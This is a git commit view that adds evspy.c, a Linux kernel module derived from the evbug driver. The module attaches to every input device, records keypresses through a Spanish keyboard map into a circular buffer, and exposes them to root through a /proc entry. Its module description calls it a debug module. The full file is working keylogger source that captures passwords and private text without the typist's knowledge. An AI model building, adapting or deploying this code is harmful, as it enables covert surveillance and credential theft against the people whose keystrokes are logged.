summaryrefslogtreecommitdiff
path: root/evspy/evspy.c
diff options
context:
space:
mode:
Diffstat (limited to 'evspy/evspy.c')
-rw-r--r--evspy/evspy.c208
1 files changed, 208 insertions, 0 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
new file mode 100644
index 0000000..0ef2456
--- /dev/null
+++ b/evspy/evspy.c
@@ -0,0 +1,208 @@
+/*
+ * Copyright (c) 2011 Guillermo Ramos
+ * based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ */
+
+/*
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ *
+ * Should you need to contact me, the author, you can do so either by
+ * e-mail - mail your message to <vojtech@ucw.cz>, or by paper mail:
+ * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic
+ */
+
+#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+#include <linux/slab.h>
+#include <linux/module.h>
+#include <linux/input.h>
+#include <linux/init.h>
+#include <linux/device.h>
+
+#include <asm/page.h>
+#include <linux/proc_fs.h>
+#include <linux/stat.h>
+#include <linux/string.h>
+#include <linux/cred.h>
+#include <linux/sched.h>
+
+#define PROCNAME "driver/evspy"
+#define BUFSIZE PAGE_SIZE
+#define MIN(x, y) (x) < (y) ? (x) : (y)
+
+#define incp(p) \
+({ \
+ if (p == &buffer[BUFSIZE-1]) \
+ p = buffer; \
+ else \
+ p++; \
+ p; \
+})
+
+static char *buffer;
+static char *rdp;
+static char *wrp;
+
+static char map_es[] = {
+ '.', '.', '1', '2', '3', //0 // 1:ESC
+ '4', '5', '6', '7', '8', //5
+ '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII)
+ '\t', 'q', 'w', 'e', 'r', //15
+ 't', 'y', 'u', 'i', 'o', //20
+ 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
+ 'a', 's', 'd', 'f', 'g', //30
+ 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
+ '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
+ 'x', 'c', 'v', 'b', 'n', //45
+ 'm', ',', '.', '-', '.', //50 // 54:RMAYUS
+ '*', '.', ' ', '.', '.', //55 // 56:WIN 58:BLKMAYUS 59-68:F1-F10
+ '.', '.', '.', '.', '.', //60
+ '.', '.', '.', '.', '.', //65
+ '.', '7', '8', '9', '-', //70
+ '4', '5', '6', '+', '1', //75
+ '2', '3', '.', '.', '.', //80
+ '.', '<', '.', '.', '.', //85
+ '.', '.', '.', '.', '.', //90
+ '.', '\n', '.', '/', '.', //95 // 97:RCTRL
+};
+
+int evspy_read_proc(char *page, char **start, off_t offset, int count,
+ int *eof, void *data)
+{
+ int n, toend;
+ int retval = 0;
+ int diff = wrp - rdp;
+
+ if (current_uid() || current_euid()) {
+ n = MIN(10, count);
+ strncpy(page, "Trolololo", n);
+ *eof = 1;
+ return n;
+ }
+
+ if (diff > 0) {
+ n = MIN(diff, count);
+ strncpy(page, rdp, n);
+ rdp += n;
+ retval = n;
+
+ } else if (diff < 0) {
+ toend = (buffer + BUFSIZE) - rdp;
+ n = MIN(toend, count);
+ strncpy(page, rdp, n);
+ retval = n;
+
+ if (n < toend) {
+ rdp += n;
+ } else {
+ n = MIN(wrp - buffer, count - retval);
+ strncpy(page + retval, buffer, n);
+ retval += n;
+ rdp = buffer + n;
+ }
+ }
+
+ if (rdp == wrp)
+ *eof = 1;
+ return retval;
+}
+
+static void evspy_event(struct input_handle *handle, unsigned int type,
+ unsigned int code, int value)
+{
+ if (type != 1 || value != 1 || code >= 100)
+ return;
+
+ *wrp = map_es[code];
+ if (incp(wrp) == rdp)
+ incp(rdp);
+}
+
+static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
+ const struct input_device_id *id)
+{
+ struct input_handle *handle;
+ int error;
+
+ handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
+ if (!handle)
+ return -ENOMEM;
+
+ handle->dev = dev;
+ handle->handler = handler;
+ handle->name = "evspy";
+
+ error = input_register_handle(handle);
+ if (error)
+ goto err_free_handle;
+
+ error = input_open_device(handle);
+ if (error)
+ goto err_unregister_handle;
+
+ return 0;
+
+ err_unregister_handle:
+ input_unregister_handle(handle);
+ err_free_handle:
+ kfree(handle);
+ return error;
+}
+
+static void evspy_disconnect(struct input_handle *handle)
+{
+ input_close_device(handle);
+ input_unregister_handle(handle);
+ kfree(handle);
+}
+
+static const struct input_device_id evspy_ids[] = {
+ { .driver_info = 1 }, /* Matches all devices */
+ { }, /* Terminating zero entry */
+};
+
+MODULE_DEVICE_TABLE(input, evspy_ids);
+
+static struct input_handler evspy_handler = {
+ .event = evspy_event,
+ .connect = evspy_connect,
+ .disconnect = evspy_disconnect,
+ .name = "evspy",
+ .id_table = evspy_ids,
+};
+
+static int __init evspy_init(void)
+{
+ create_proc_read_entry(PROCNAME, 0, NULL,
+ evspy_read_proc, NULL);
+ buffer = kmalloc(BUFSIZE, GFP_KERNEL);
+ rdp = buffer;
+ wrp = buffer;
+ return !buffer || input_register_handler(&evspy_handler);
+}
+
+static void __exit evspy_exit(void)
+{
+ kfree(buffer);
+ remove_proc_entry(PROCNAME, NULL);
+ input_unregister_handler(&evspy_handler);
+}
+
+module_init(evspy_init);
+module_exit(evspy_exit);
+
+MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
+MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>");
+MODULE_DESCRIPTION("Custom input driver event debug module");
+MODULE_LICENSE("GPL");